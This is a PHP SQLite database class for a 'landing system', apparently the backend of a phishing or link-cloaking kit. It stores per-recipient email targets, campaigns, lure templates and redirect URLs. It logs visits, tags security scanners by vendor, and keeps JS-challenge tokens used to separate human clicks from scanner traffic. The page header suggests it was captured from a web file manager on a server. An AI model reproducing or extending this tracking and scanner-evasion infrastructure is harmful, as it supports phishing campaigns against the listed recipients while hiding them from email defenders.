Simple File Manage Design by index.php

��

<?php
/**
 * ═══════════════════════════════════════════════════════════════════════════
 * LANDING SYSTEM - DATABASE (SQLite)
 * ═══════════════════════════════════════════════════════════════════════════
 */

class Database {
    private static $instance = null;
    private $pdo;
    
    private function __construct() {
        try {
            $this->pdo = new PDO('sqlite:' . DB_PATH);
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
            
            // Enable WAL mode for better concurrency
            $this->pdo->exec('PRAGMA journal_mode=WAL');
            $this->pdo->exec('PRAGMA synchronous=NORMAL');
            
            // Initialize tables
            $this->initTables();
        } catch (PDOException $e) {
            error_log("Database connection failed: " . $e->getMessage());
            throw $e;
        }
    }
    
    public static function getInstance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    public function getConnection() {
        return $this->pdo;
    }
    
    /**
     * Initialize database tables
     */
    private function initTables() {
        // Recipients table
        $this->pdo->exec("
            CREATE TABLE IF NOT EXISTS recipients (
                id TEXT PRIMARY KEY,
                email TEXT NOT NULL,
                name TEXT,
                firstname TEXT,
                lastname TEXT,
                company TEXT,
                domain TEXT,
                campaign_id TEXT,
                template TEXT DEFAULT 'document',
                redirect_url TEXT,
                provider TEXT,
                custom_data TEXT,
                created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
                expires_at DATETIME,
                status TEXT DEFAULT 'active'
            )
        ");
        
        // Add provider column if not exists (migration for existing DBs)
        try {
            $this->pdo->exec("ALTER TABLE recipients ADD COLUMN provider TEXT");
        } catch (PDOException $e) {
            // Column already exists, ignore
        }
        
        // Visits table
        $this->pdo->exec("
            CREATE TABLE IF NOT EXISTS visits (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                recipient_id TEXT,
                ip_address TEXT,
                user_agent TEXT,
                referer TEXT,
                request_uri TEXT,
                is_scanner INTEGER DEFAULT 0,
                scanner_vendor TEXT,
                detection_method TEXT,
                confidence INTEGER DEFAULT 0,
                response_type TEXT,
                visited_at DATETIME DEFAULT CURRENT_TIMESTAMP,
                FOREIGN KEY (recipient_id) REFERENCES recipients(id)
            )
        ");
        
        // Scanner log table (detailed)
        $this->pdo->exec("
            CREATE TABLE IF NOT EXISTS scanner_log (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                ip_address TEXT,
                user_agent TEXT,
                vendor TEXT,
                detection_method TEXT,
                confidence INTEGER,
                all_headers TEXT,
                request_uri TEXT,
                logged_at DATETIME DEFAULT CURRENT_TIMESTAMP
            )
        ");
        
        // Verifications table (for JS challenge)
        $this->pdo->exec("
            CREATE TABLE IF NOT EXISTS verifications (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                recipient_id TEXT,
                token TEXT UNIQUE,
                signals TEXT,
                verified INTEGER DEFAULT 0,
                created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
                verified_at DATETIME,
                FOREIGN KEY (recipient_id) REFERENCES recipients(id)
            )
        ");
        
        // Batches table (for link generation history)
        $this->pdo->exec("
            CREATE TABLE IF NOT EXISTS batches (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                batch_id TEXT UNIQUE NOT NULL,
                name TEXT,
                template TEXT,
                redirect_url TEXT,
                total_count INTEGER DEFAULT 0,
                created_at DATETIME DEFAULT CURRENT_TIMESTAMP
            )
        ");
        
        // Add batch_id column to recipients if not exists
        try {
            $this->pdo->exec("ALTER TABLE recipients ADD COLUMN batch_id TEXT");
        } catch (PDOException $e) {
            // Column already exists, ignore
        }
        
        // Create indexes
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_recipients_id ON recipients(id)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_recipients_status ON recipients(status)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_recipients_batch ON recipients(batch_id)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_visits_recipient ON visits(recipient_id)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_visits_scanner ON visits(is_scanner)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_visits_time ON visits(visited_at)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_scanner_ip ON scanner_log(ip_address)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_verifications_token ON verifications(token)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_batches_id ON batches(batch_id)");
        $this->pdo->exec("CREATE INDEX IF NOT EXISTS idx_batches_created ON batches(created_at)");
    }
    
    /**
     * Sanitize and truncate input to prevent oversized data
     */
    private function sanitizeInput($value, $maxLength = 255) {
        if ($value === null) return null;
        $value = trim((string)$value);
        if (strlen($value) > $maxLength) {
            $value = substr($value, 0, $maxLength);
        }
        return $value;
    }
    
    /**
     * Get recipient by ID
     */
    public function getRecipient($id) {
        $stmt = $this->pdo->prepare("
            SELECT * FROM recipients 
            WHERE id = ? AND status IN ('active', 'clicked')
            AND (expires_at IS NULL OR expires_at > datetime('now'))
        ");
        $stmt->execute([$id]);
        return $stmt->fetch();
    }
    
    /**
     * Create recipient
     */
    public function createRecipient($data) {
        $stmt = $this->pdo->prepare("
            INSERT INTO recipients (id, email, name, firstname, lastname, company, domain, 
                                   campaign_id, template, redirect_url, provider, custom_data, expires_at)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        ");
        
        // Sanitize inputs with length limits
        return $stmt->execute([
            $this->sanitizeInput($data['id'] ?? '', 50),
            $this->sanitizeInput($data['email'] ?? '', 255),
            $this->sanitizeInput($data['name'] ?? null, 100),
            $this->sanitizeInput($data['firstname'] ?? null, 50),
            $this->sanitizeInput($data['lastname'] ?? null, 50),
            $this->sanitizeInput($data['company'] ?? null, 100),
            $this->sanitizeInput($data['domain'] ?? null, 100),
            $this->sanitizeInput($data['campaign_id'] ?? null, 50),
            $this->sanitizeInput($data['template'] ?? 'document', 50),
            $this->sanitizeInput($data['redirect_url'] ?? null, 2000),
            $this->sanitizeInput($data['provider'] ?? null, 50),
            isset($data['custom_data']) ? substr(json_encode($data['custom_data']), 0, 5000) : null,
            $data['expires_at'] ?? null,
        ]);
    }
    
    /**
     * Create multiple recipients in batch (for sender integration)
     * Returns array of created IDs and any errors
     */
    public function createRecipientsBatch($recipients) {
        $results = [
            'created' => 0,
            'failed' => 0,
            'links' => [],
            'errors' => []
        ];
        
        // Use transaction for batch insert
        $this->pdo->beginTransaction();
        
        try {
            $stmt = $this->pdo->prepare("
                INSERT OR IGNORE INTO recipients 
                (id, email, name, firstname, lastname, company, domain, 
                 campaign_id, template, redirect_url, provider, custom_data, expires_at)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
            ");
            
            foreach ($recipients as $data) {
                // Generate ID if not provided
                $id = $data['id'] ?? $this->generateRecipientId($data['email']);
                
                // Validate email
                if (empty($data['email']) || !filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
                    $results['failed']++;
                    $results['errors'][$data['email'] ?? 'unknown'] = 'Invalid email format';
                    continue;
                }
                
                // Extract domain from email if not provided
                $domain = $data['domain'] ?? null;
                if (empty($domain) && !empty($data['email'])) {
                    $parts = explode('@', $data['email']);
                    $domain = $parts[1] ?? null;
                }
                
                $success = $stmt->execute([
                    $id,
                    $data['email'],
                    $data['name'] ?? null,
                    $data['firstname'] ?? null,
                    $data['lastname'] ?? null,
                    $data['company'] ?? null,
                    $domain,
                    $data['campaign_id'] ?? null,
                    $data['template'] ?? 'document',
                    $data['redirect_url'] ?? null,
                    $data['provider'] ?? null,
                    isset($data['custom_data']) ? json_encode($data['custom_data']) : null,
                    $data['expires_at'] ?? null,
                ]);
                
                if ($success && $stmt->rowCount() > 0) {
                    $results['created']++;
                    $results['links'][$data['email']] = $id;
                } else {
                    $results['failed']++;
                    $results['errors'][$data['email']] = 'Recipient already exists or insert failed';
                }
            }
            
            $this->pdo->commit();
        } catch (PDOException $e) {
            $this->pdo->rollBack();
            throw $e;
        }
        
        return $results;
    }
    
    /**
     * Generate unique recipient ID from email
     */
    public function generateRecipientId($email) {
        // Create a short, unique ID based on email and timestamp
        $timestamp = microtime(true);
        $hash = md5($email . $timestamp . random_bytes(4));
        // Return 8-character alphanumeric ID
        return substr(base_convert($hash, 16, 36), 0, 8);
    }
    
    /**
     * Check if recipient exists by email
     */
    public function getRecipientByEmail($email) {
        $stmt = $this->pdo->prepare("
            SELECT * FROM recipients 
            WHERE email = ? AND status = 'active'
            ORDER BY created_at DESC LIMIT 1
        ");
        $stmt->execute([$email]);
        return $stmt->fetch();
    }
    
    /**
     * Update recipient status
     */
    public function updateRecipientStatus($id, $status) {
        $stmt = $this->pdo->prepare("UPDATE recipients SET status = ? WHERE id = ?");
        return $stmt->execute([$status, $id]);
    }
    
    /**
     * Log visit
     */
    public function logVisit($data) {
        $stmt = $this->pdo->prepare("
            INSERT INTO visits (recipient_id, ip_address, user_agent, referer, request_uri,
                               is_scanner, scanner_vendor, detection_method, confidence, response_type)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        ");
        
        return $stmt->execute([
            $data['recipient_id'] ?? null,
            $data['ip_address'] ?? '',
            $data['user_agent'] ?? '',
            $data['referer'] ?? null,
            $data['request_uri'] ?? '',
            $data['is_scanner'] ? 1 : 0,
            $data['scanner_vendor'] ?? null,
            $data['detection_method'] ?? null,
            $data['confidence'] ?? 0,
            $data['response_type'] ?? null,
        ]);
    }
    
    /**
     * Log scanner detection (detailed)
     */
    public function logScanner($data) {
        $stmt = $this->pdo->prepare("
            INSERT INTO scanner_log (ip_address, user_agent, vendor, detection_method, 
                                    confidence, all_headers, request_uri)
            VALUES (?, ?, ?, ?, ?, ?, ?)
        ");
        
        return $stmt->execute([
            $data['ip_address'] ?? '',
            $data['user_agent'] ?? '',
            $data['vendor'] ?? 'unknown',
            $data['detection_method'] ?? '',
            $data['confidence'] ?? 0,
            isset($data['headers']) ? json_encode($data['headers']) : null,
            $data['request_uri'] ?? '',
        ]);
    }
    
    /**
     * Create verification token
     */
    public function createVerification($recipientId, $token) {
        $stmt = $this->pdo->prepare("
            INSERT INTO verifications (recipient_id, token)
            VALUES (?, ?)
        ");
        return $stmt->execute([$recipientId, $token]);
    }
    
    /**
     * Verify token and mark as verified
     */
    public function verifyToken($token, $signals) {
        $stmt = $this->pdo->prepare("
            UPDATE verifications 
            SET verified = 1, signals = ?, verified_at = datetime('now')
            WHERE token = ? AND verified = 0
        ");
        return $stmt->execute([json_encode($signals), $token]);
    }
    
    /**
     * Check if token is verified
     */
    public function isTokenVerified($token) {
        $stmt = $this->pdo->prepare("
            SELECT verified, recipient_id FROM verifications WHERE token = ?
        ");
        $stmt->execute([$token]);
        return $stmt->fetch();
    }
    
    /**
     * Get visit statistics
     */
    public function getStats() {
        $stats = [];
        
        // Total visits
        $stmt = $this->pdo->query("SELECT COUNT(*) as total FROM visits");
        $stats['total_visits'] = $stmt->fetch()['total'];
        
        // Human visits
        $stmt = $this->pdo->query("SELECT COUNT(*) as total FROM visits WHERE is_scanner = 0");
        $stats['human_visits'] = $stmt->fetch()['total'];
        
        // Scanner visits
        $stmt = $this->pdo->query("SELECT COUNT(*) as total FROM visits WHERE is_scanner = 1");
        $stats['scanner_visits'] = $stmt->fetch()['total'];
        
        // Scanner breakdown by vendor
        $stmt = $this->pdo->query("
            SELECT scanner_vendor, COUNT(*) as count 
            FROM visits WHERE is_scanner = 1 AND scanner_vendor IS NOT NULL
            GROUP BY scanner_vendor ORDER BY count DESC
        ");
        $stats['scanner_breakdown'] = $stmt->fetchAll();
        
        return $stats;
    }
    
    // ═══════════════════════════════════════════════════════════════════════════
    // BATCH MANAGEMENT
    // ═══════════════════════════════════════════════════════════════════════════
    
    /**
     * Create a new batch
     */
    public function createBatch($data) {
        $batchId = $data['batch_id'] ?? $this->generateBatchId();
        
        $stmt = $this->pdo->prepare("
            INSERT INTO batches (batch_id, name, template, redirect_url, total_count)
            VALUES (?, ?, ?, ?, ?)
        ");
        
        $stmt->execute([
            $batchId,
            $data['name'] ?? null,
            $data['template'] ?? 'document',
            $data['redirect_url'] ?? null,
            $data['total_count'] ?? 0
        ]);
        
        return $batchId;
    }
    
    /**
     * Generate unique batch ID
     */
    public function generateBatchId() {
        return 'batch_' . date('Ymd_His') . '_' . substr(bin2hex(random_bytes(4)), 0, 8);
    }
    
    /**
     * Get all batches (newest first)
     */
    public function getBatches($limit = 50, $offset = 0) {
        $stmt = $this->pdo->prepare("
            SELECT * FROM batches 
            ORDER BY created_at DESC 
            LIMIT ? OFFSET ?
        ");
        $stmt->execute([$limit, $offset]);
        return $stmt->fetchAll();
    }
    
    /**
     * Get batch by ID
     */
    public function getBatch($batchId) {
        $stmt = $this->pdo->prepare("SELECT * FROM batches WHERE batch_id = ?");
        $stmt->execute([$batchId]);
        return $stmt->fetch();
    }
    
    /**
     * Get recipients by batch ID
     */
    public function getRecipientsByBatch($batchId) {
        $stmt = $this->pdo->prepare("
            SELECT * FROM recipients 
            WHERE batch_id = ? 
            ORDER BY created_at ASC
        ");
        $stmt->execute([$batchId]);
        return $stmt->fetchAll();
    }
    
    /**
     * Delete batch and its recipients
     */
    public function deleteBatch($batchId) {
        $this->pdo->beginTransaction();
        try {
            // Delete recipients in this batch
            $stmt = $this->pdo->prepare("DELETE FROM recipients WHERE batch_id = ?");
            $stmt->execute([$batchId]);
            
            // Delete batch record
            $stmt = $this->pdo->prepare("DELETE FROM batches WHERE batch_id = ?");
            $stmt->execute([$batchId]);
            
            $this->pdo->commit();
            return true;
        } catch (PDOException $e) {
            $this->pdo->rollBack();
            return false;
        }
    }
    
    /**
     * Get batch count
     */
    public function getBatchCount() {
        $stmt = $this->pdo->query("SELECT COUNT(*) as count FROM batches");
        return $stmt->fetch()['count'];
    }
}

/**
 * Helper function to get database instance
 */
function db() {
    return Database::getInstance()->getConnection();
}

/**
 * Helper function to get Database class instance
 */
function database() {
    return Database::getInstance();
}